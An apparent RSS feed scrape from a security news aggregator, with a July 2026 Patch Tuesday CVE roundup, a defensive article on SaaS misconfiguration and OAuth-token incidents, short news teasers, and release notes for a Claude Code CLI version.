

<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die wichtigsten News der Kalenderwoche 29/2026: KI, Visual Studio und mehr - Microsoft]]></title>
<description><![CDATA[Viel Spaß beim Stöbern! Microsoft Azure. Offiziell verfügbar: SQL-Migration auf SQL Server auf Azure-Virtual-Machines in der Azure-Architektur (engl.) ...]]></description>
<link>https://tsecurity.de/de/3676536/windows-server/die-wichtigsten-news-der-kalenderwoche-292026-ki-visual-studio-und-mehr-microsoft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676536/windows-server/die-wichtigsten-news-der-kalenderwoche-292026-ki-visual-studio-und-mehr-microsoft/</guid>
<pubDate>Fri, 17 Jul 2026 17:47:22 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Viel Spaß beim Stöbern! Microsoft Azure. Offiziell verfügbar: SQL-Migration auf SQL <b>Server</b> auf Azure-Virtual-Machines in der Azure-Architektur (engl.) ...]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use GitHub safely]]></title>
<description><![CDATA[Knowing how to spot a malicious GitHub repository can help you avoid downloading malware disguised as legitimate software. This article has been indexed from Malwarebytes Read the original article: How to use GitHub safely
Read more →
The post How to use GitHub safely appeared first on IT Securit...]]></description>
<link>https://tsecurity.de/de/3675886/it-security-nachrichten/how-to-use-github-safely/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675886/it-security-nachrichten/how-to-use-github-safely/</guid>
<pubDate>Fri, 17 Jul 2026 13:23:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Knowing how to spot a malicious GitHub repository can help you avoid downloading malware disguised as legitimate software. This article has been indexed from Malwarebytes Read the original article: How to use GitHub safely</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-to-use-github-safely/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-to-use-github-safely/">How to use GitHub safely</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use GitHub safely]]></title>
<description><![CDATA[Knowing how to spot a malicious GitHub repository can help you avoid downloading malware disguised as legitimate software.]]></description>
<link>https://tsecurity.de/de/3675807/it-security-nachrichten/how-to-use-github-safely/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675807/it-security-nachrichten/how-to-use-github-safely/</guid>
<pubDate>Fri, 17 Jul 2026 12:52:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Knowing how to spot a malicious GitHub repository can help you avoid downloading malware disguised as legitimate software.]]></content:encoded>
</item>
<item>
<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The BIOS Password Mistake]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 Not every "BIOS password" is actually the same thing.

In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different l...]]></description>
